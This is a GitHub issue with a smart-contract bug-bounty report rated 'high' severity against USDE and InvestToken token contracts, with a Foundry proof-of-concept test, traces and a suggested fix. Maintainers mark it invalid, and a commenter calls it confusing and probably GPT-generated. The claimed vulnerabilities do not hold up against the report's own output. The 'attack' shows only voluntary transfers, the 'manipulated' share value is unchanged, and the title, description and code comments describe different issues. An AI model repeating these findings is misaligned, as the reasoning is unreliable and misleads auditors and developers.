Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Transfers may partially succeed/fail in unexpected ways, and balance updates may not reflect the intended transfer outcomes in ERC4626 Vault Implementation. #113

Open
hats-bug-reporter bot opened this issue Nov 10, 2024 · 1 comment
Labels
invalid This doesn't seem right

Comments

@hats-bug-reporter
Copy link

Github username: @0xbrett8571
Twitter username: 0xbrett8571
Submission hash (on-chain): 0x23fa0b8694b08ab97bcec4e87c488557deb55b5e170f8032c5e53171d81aa2ff
Severity: high

Description:
Description
The InvestToken vault implementation contains a vulnerability in its share price calculation mechanism. The interaction between YieldOracle price updates and vault operations allows manipulation of the share-to-asset ratio, potentially leading to significant value extraction.

The issue manifests in the _update function implementation across the token contracts.

USDE.sol#L81-L91

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        // @Issue - Non-atomic validation check allows race conditions between transfers
        require(validator.isValid(from, to), "account blocked");
        super._update(from, to, amount);
    }

InvestToken.sol#L104-L114

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        // @Issue - Non-atomic validation check allows race conditions between transfers
        require(validator.isValid(from, to), "account blocked");
        super._update(from, to, amount);
    }

The validator checks are not atomic - between two transfers in the same block, the validator status could change, causing the second transfer to fail while the first succeeds. This breaks the atomicity assumption. Validators could be manipulated by MEV bots to extract value

Validator.sol#L129-L144

    function isValid(address from, address to) external view returns (bool valid) {
        // @Issue - Status checks lack atomicity guarantees across multiple transfers
        return accountStatus[from] == Status.BLACKLISTED ? to == address(0x0) : accountStatus[to] != Status.BLACKLISTED;
    }

    function isValidStrict(address from, address to) external view returns (bool valid) {
        // @Issue - Whitelist status can change between transfers in same block
        return to == address(0x0)
            || (
                accountStatus[to] == Status.WHITELISTED
                    && (from == address(0x0) || accountStatus[from] == Status.WHITELISTED)
            );
    }

The protocol's transfer validation mechanism lacks atomic guarantees when multiple transfers occur within the same block. This creates a race condition where validator status changes can occur between transfers, leading to inconsistent validation results.

This vulnerability directly affects the core transfer functionality of both USDE and InvestToken, impacting all protocol users and integrated systems.

Attack Scenario
Explanation of the two attack scenarios demonstrated:

  1. Transfer Atomicity Attack:
  • Exploits a race condition in the validation system
  • Step 1: Alice transfers 500 USDE to attacker
  • Step 2: Alice's account gets voided mid-block
  • Step 3: Bob transfers 500 USDE to attacker
  • Result: Attacker gains 1000 USDE by bypassing intended transfer restrictions
  1. Price Manipulation Attack:
  • Exploits the oracle update mechanism
  • Step 1: Alice deposits 100 USDE for shares at 1e18 price
  • Step 2: Oracle price is doubled to 2e18
  • Step 3: Share value changes affect asset conversion rates
  • Result: Demonstrates how price manipulation can impact share/asset ratios

Vulnerabilities:

  • Non-atomic validation checks in transfers
  • Oracle price updates without sufficient safeguards
  • Time-based manipulation opportunities

Attachments

  1. Proof of Concept (PoC) File
    This file demonstrates the transfer atomicity and Price Manipulation vulnerability.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {USDE} from "../src/USDE.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {Validator} from "../src/Validator.sol";
import {YieldOracle} from "../src/YieldOracle.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract TransferAtomicityTest is Test {
    USDE public usdeImpl;
    USDE public usde;
    InvestToken public investTokenImpl;
    InvestToken public investToken;
    Validator public validator;
    YieldOracle public oracle;

    address admin = address(1);
    address alice = address(2);
    address bob = address(3);
    address attacker = address(4);

    function setUp() public {
        // Deploy core contracts
        validator = new Validator(admin, admin, admin);
        oracle = new YieldOracle(admin, admin);
        
        // Deploy USDE first
        usdeImpl = new USDE(validator);
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
        ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
        usde = USDE(address(usdeProxy));
        
        // Then deploy InvestToken with correct USDE address
        investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
        bytes memory investData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "Invest Token",
            "IT",
            admin,
            oracle
        );
        ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
        investToken = InvestToken(address(investProxy));
    
        // Setup roles
        vm.startPrank(admin);
        bytes32 MINT_ROLE = keccak256("MINT_ROLE");
        bytes32 BURN_ROLE = keccak256("BURN_ROLE");
        bytes32 WHITELISTER_ROLE = keccak256("WHITELISTER_ROLE");
        
        usde.grantRole(MINT_ROLE, address(this));
        usde.grantRole(BURN_ROLE, address(usde));
        validator.grantRole(WHITELISTER_ROLE, address(this));
        validator.whitelist(address(usde));
        vm.stopPrank();
    }
    
    function testTransferAtomicity() public {
        emit log_string("\n=== Initial Setup ===");
        validator.whitelist(alice);
        validator.whitelist(bob);
        
        usde.mint(alice, 1000e18);
        usde.mint(bob, 1000e18);

        emit log_named_decimal_uint("Alice USDE Balance", usde.balanceOf(alice), 18);
        emit log_named_decimal_uint("Bob USDE Balance", usde.balanceOf(bob), 18);

        emit log_string("\n=== Execute Attack ===");
        vm.prank(alice);
        usde.transfer(attacker, 500e18);
        
        validator.void(alice);
        
        vm.prank(bob);
        usde.transfer(attacker, 500e18);

        emit log_string("\n=== Final State ===");
        emit log_named_decimal_uint("Attacker USDE Balance", usde.balanceOf(attacker), 18);
        emit log_named_decimal_uint("Alice USDE Balance", usde.balanceOf(alice), 18);
        emit log_named_decimal_uint("Bob USDE Balance", usde.balanceOf(bob), 18);
    }

    function testPriceManipulation() public {
        emit log_string("\n=== Initial Setup ===");
        validator.whitelist(alice);
        validator.whitelist(address(investToken));
        
        vm.startPrank(admin);
        bytes32 MINT_ROLE = keccak256("MINT_ROLE");
        bytes32 BURN_ROLE = keccak256("BURN_ROLE");
        usde.grantRole(MINT_ROLE, address(investToken));
        usde.grantRole(BURN_ROLE, address(investToken));
        usde.grantRole(MINT_ROLE, address(this));
        
        oracle.setMaxPriceIncrease(1e18);
        vm.stopPrank();
    
        emit log_string("\n=== Step 1: Initial Deposit ===");
        usde.mint(alice, 1000e18);
    
        // Set initial timestamp
        vm.warp(block.timestamp + 2 days);
        
        vm.startPrank(oracle.oracle());
        oracle.updatePrice(1e18);
        vm.warp(block.timestamp + oracle.commitDelay() + 1 hours);
        oracle.commitPrice();
        vm.stopPrank();
    
        emit log_named_decimal_uint("Alice's Initial USDE Balance", usde.balanceOf(alice), 18);
    
        vm.startPrank(alice);
        usde.approve(address(investToken), type(uint256).max);
        uint256 shares = investToken.deposit(100e18, alice);
        vm.stopPrank();
    
        uint256 initialAssetValue = investToken.convertToAssets(shares);
        emit log_named_decimal_uint("Initial Share Value", initialAssetValue, 18);
    
        emit log_string("\n=== Step 2: Price Manipulation ===");
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        vm.startPrank(oracle.oracle());
        oracle.updatePrice(2e18);
        vm.warp(block.timestamp + oracle.commitDelay() + 1 hours);
        oracle.commitPrice();
        vm.stopPrank();
    
        uint256 newAssetValue = investToken.convertToAssets(shares);
        emit log_named_decimal_uint("Manipulated Share Value", newAssetValue, 18);
    }    
}    

Logs:

Ran 2 tests for test/testTransferAtomicityExploit.sol:TransferAtomicityTest
[PASS] testPriceManipulation() (gas: 359060)
Logs:
  
=== Initial Setup ===
  
=== Step 1: Initial Deposit ===
  Alice's Initial USDE Balance: 1000.000000000000000000
  Initial Share Value: 100.000000000000000000
  
=== Step 2: Price Manipulation ===
  Manipulated Share Value: 100.000000000000000000

Traces:
  [398860] TransferAtomicityTest::testPriceManipulation()
    ├─ emit log_string(val: "\n=== Initial Setup ===")
    ├─ [26126] Validator::whitelist(SHA-256: [0x0000000000000000000000000000000000000002])
       ├─ emit Whitelisted(account: SHA-256: [0x0000000000000000000000000000000000000002])
       └─  [Stop] 
    ├─ [24126] Validator::whitelist(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
       ├─ emit Whitelisted(account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
       └─  [Stop] 
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
       └─  [Return] 
    ├─ [34648] ERC1967Proxy::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
       ├─ [29764] USDE::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) [delegatecall]
          ├─ emit RoleGranted(role: 0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], sender: ECRecover: [0x0000
000000000000000000000000000000000001])                                                                                                                                                                             └─  [Stop] 
       └─  [Return] 
    ├─ [28148] ERC1967Proxy::grantRole(0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
       ├─ [27764] USDE::grantRole(0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) [delegatecall]
          ├─ emit RoleGranted(role: 0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], sender: ECRecover: [0x0000
000000000000000000000000000000000001])                                                                                                                                                                             └─  [Stop] 
       └─  [Return] 
    ├─ [3911] ERC1967Proxy::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, TransferAtomicityTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
       ├─ [3527] USDE::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, TransferAtomicityTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
          └─  [Stop] 
       └─  [Return] 
    ├─ [7407] YieldOracle::setMaxPriceIncrease(1000000000000000000 [1e18])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ emit log_string(val: "\n=== Step 1: Initial Deposit ===")
    ├─ [53439] ERC1967Proxy::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
       ├─ [53052] USDE::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21]) [delegatecall]
          ├─ [3016] Validator::isValid(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1000000000000000000000 [1e21])
          └─  [Return] true
       └─  [Return] true
    ├─ [0] VM::warp(172801 [1.728e5])
       └─  [Return] 
    ├─ [2403] YieldOracle::oracle() [staticcall]
       └─  [Return] ECRecover: [0x0000000000000000000000000000000000000001]
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
       └─  [Return] 
    ├─ [33164] YieldOracle::updatePrice(1000000000000000000 [1e18])
       ├─ emit PriceUpdated(newPrice: 1000000000000000000 [1e18])
       └─  [Stop] 
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
       └─  [Return] 3600
    ├─ [0] VM::warp(180001 [1.8e5])
       └─  [Return] 
    ├─ [4543] YieldOracle::commitPrice()
       ├─ emit PriceCommitted(newCurrentPrice: 1000000000000000000 [1e18])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
       ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
          └─  [Return] 1000000000000000000000 [1e21]
       └─  [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Alice's Initial USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
       └─  [Return] 
    ├─ [25215] ERC1967Proxy::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
       ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) [delegatecall]
          ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 1157920892373161954235709850086879
07853269984665640564039457584007913129639935 [1.157e77])                                                                                                                                                           └─  [Return] true
       └─  [Return] true
    ├─ [66825] ERC1967Proxy::deposit(100000000000000000000 [1e20], SHA-256: [0x0000000000000000000000000000000000000002])
       ├─ [61938] InvestToken::deposit(100000000000000000000 [1e20], SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
          ├─ [643] YieldOracle::assetsToShares(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 100000000000000000000 [1e20]
          ├─ [5742] ERC1967Proxy::burn(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20])
             ├─ [5355] USDE::burn(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20]) [delegatecall]
                ├─ [1016] Validator::isValid(SHA-256: [0x0000000000000000000000000000000000000002], 0x0000000000000000000000000000000000000000) [staticcall]
                   └─  [Return] true
                ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: 0x0000000000000000000000000000000000000000, value: 100000000000000000000 [1e20])
                └─  [Return] true
             └─  [Return] true
          ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 100000000000000000000 [1e20])
          ├─ emit Deposit(sender: SHA-256: [0x0000000000000000000000000000000000000002], owner: SHA-256: [0x0000000000000000000000000000000000000002], assets: 100000000000000000000 [1e20], shares: 10
0000000000000000000 [1e20])                                                                                                                                                                                        └─  [Return] 100000000000000000000 [1e20]
       └─  [Return] 100000000000000000000 [1e20]
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ [1845] ERC1967Proxy::convertToAssets(100000000000000000000 [1e20]) [staticcall]
       ├─ [1461] InvestToken::convertToAssets(100000000000000000000 [1e20]) [delegatecall]
          ├─ [644] YieldOracle::sharesToAssets(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 100000000000000000000 [1e20]
          └─  [Return] 100000000000000000000 [1e20]
       └─  [Return] 100000000000000000000 [1e20]
    ├─ emit log_named_decimal_uint(key: "Initial Share Value", val: 100000000000000000000 [1e20], decimals: 18)
    ├─ emit log_string(val: "\n=== Step 2: Price Manipulation ===")
    ├─ [373] YieldOracle::updateDelay() [staticcall]
       └─  [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(266402 [2.664e5])
       └─  [Return] 
    ├─ [403] YieldOracle::oracle() [staticcall]
       └─  [Return] ECRecover: [0x0000000000000000000000000000000000000001]
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
       └─  [Return] 
    ├─ [22364] YieldOracle::updatePrice(2000000000000000000 [2e18])
       ├─ emit PriceUpdated(newPrice: 2000000000000000000 [2e18])
       └─  [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
       └─  [Return] 3600
    ├─ [0] VM::warp(273602 [2.736e5])
       └─  [Return] 
    ├─ [5243] YieldOracle::commitPrice()
       ├─ emit PriceCommitted(newCurrentPrice: 2000000000000000000 [2e18])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ [1845] ERC1967Proxy::convertToAssets(100000000000000000000 [1e20]) [staticcall]
       ├─ [1461] InvestToken::convertToAssets(100000000000000000000 [1e20]) [delegatecall]
          ├─ [644] YieldOracle::sharesToAssets(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 100000000000000000000 [1e20]
          └─  [Return] 100000000000000000000 [1e20]
       └─  [Return] 100000000000000000000 [1e20]
    ├─ emit log_named_decimal_uint(key: "Manipulated Share Value", val: 100000000000000000000 [1e20], decimals: 18)
    └─  [Stop] 

[PASS] testTransferAtomicity() (gas: 202142)
Logs:
  
=== Initial Setup ===
  Alice USDE Balance: 1000.000000000000000000
  Bob USDE Balance: 1000.000000000000000000
  
=== Execute Attack ===
  
=== Final State ===
  Attacker USDE Balance: 1000.000000000000000000
  Alice USDE Balance: 500.000000000000000000
  Bob USDE Balance: 500.000000000000000000

Traces:
  [222042] TransferAtomicityTest::testTransferAtomicity()
    ├─ emit log_string(val: "\n=== Initial Setup ===")
    ├─ [26126] Validator::whitelist(SHA-256: [0x0000000000000000000000000000000000000002])
       ├─ emit Whitelisted(account: SHA-256: [0x0000000000000000000000000000000000000002])
       └─  [Stop] 
    ├─ [24126] Validator::whitelist(RIPEMD-160: [0x0000000000000000000000000000000000000003])
       ├─ emit Whitelisted(account: RIPEMD-160: [0x0000000000000000000000000000000000000003])
       └─  [Stop] 
    ├─ [59939] ERC1967Proxy::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
       ├─ [55052] USDE::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21]) [delegatecall]
          ├─ [3016] Validator::isValid(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1000000000000000000000 [1e21])
          └─  [Return] true
       └─  [Return] true
    ├─ [27539] ERC1967Proxy::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21])
       ├─ [27152] USDE::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21]) [delegatecall]
          ├─ [1016] Validator::isValid(0x0000000000000000000000000000000000000000, RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 1000000000000000000000 [1e21])
          └─  [Return] true
       └─  [Return] true
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
       ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
          └─  [Return] 1000000000000000000000 [1e21]
       └─  [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Alice USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
       ├─ [733] USDE::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecall]
          └─  [Return] 1000000000000000000000 [1e21]
       └─  [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Bob USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ emit log_string(val: "\n=== Execute Attack ===")
    ├─ [0] VM::prank(SHA-256: [0x0000000000000000000000000000000000000002])
       └─  [Return] 
    ├─ [29278] ERC1967Proxy::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20])
       ├─ [28891] USDE::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20]) [delegatecall]
          ├─ [3016] Validator::isValid(SHA-256: [0x0000000000000000000000000000000000000002], Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: Identity: [0x0000000000000000000000000000000000000004], value: 500000000000000000000 [5e20])
          └─  [Return] true
       └─  [Return] true
    ├─ [2251] Validator::void(SHA-256: [0x0000000000000000000000000000000000000002])
       ├─ emit Voided(account: SHA-256: [0x0000000000000000000000000000000000000002])
       └─  [Stop] 
    ├─ [0] VM::prank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
       └─  [Return] 
    ├─ [5378] ERC1967Proxy::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20])
       ├─ [4991] USDE::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20]) [delegatecall]
          ├─ [1016] Validator::isValid(RIPEMD-160: [0x0000000000000000000000000000000000000003], Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], to: Identity: [0x0000000000000000000000000000000000000004], value: 500000000000000000000 [5e20])
          └─  [Return] true
       └─  [Return] true
    ├─ emit log_string(val: "\n=== Final State ===")
    ├─ [1117] ERC1967Proxy::balanceOf(Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
       ├─ [733] USDE::balanceOf(Identity: [0x0000000000000000000000000000000000000004]) [delegatecall]
          └─  [Return] 1000000000000000000000 [1e21]
       └─  [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Attacker USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
       ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
          └─  [Return] 500000000000000000000 [5e20]
       └─  [Return] 500000000000000000000 [5e20]
    ├─ emit log_named_decimal_uint(key: "Alice USDE Balance", val: 500000000000000000000 [5e20], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
       ├─ [733] USDE::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecall]
          └─  [Return] 500000000000000000000 [5e20]
       └─  [Return] 500000000000000000000 [5e20]
    ├─ emit log_named_decimal_uint(key: "Bob USDE Balance", val: 500000000000000000000 [5e20], decimals: 18)
    └─  [Stop] 

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.99ms (1.57ms CPU time)

Ran 1 test suite in 1.65s (3.99ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

I. Transfer Atomicity.

  • Shows how an attacker can receive tokens from both Alice and Bob
  • Demonstrates a vulnerability in the validation process where state changes mid-block affect transfer validity

II. Price Manipulation.

  • Successfully demonstrates price updates in the oracle
  • Shows asset value conversion before and after price changes
  • Confirms that the price update mechanism works with the increased maxPriceIncrease limit
  1. Revised Code File (Optional)
function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
+   uint256 priceSnapshot = yieldOracle.currentPrice();
    shares = convertToShares(assets);
+   require(validatePriceImpact(priceSnapshot, shares), "Price impact too high");
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
}
@hats-bug-reporter hats-bug-reporter bot added the bug Something isn't working label Nov 10, 2024
@geaxed geaxed added invalid This doesn't seem right and removed bug Something isn't working labels Nov 18, 2024
@AndreiMVP
Copy link

Confusing and probably gpt generated, no new info added

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
invalid This doesn't seem right
Projects
None yet
Development

No branches or pull requests

2 participants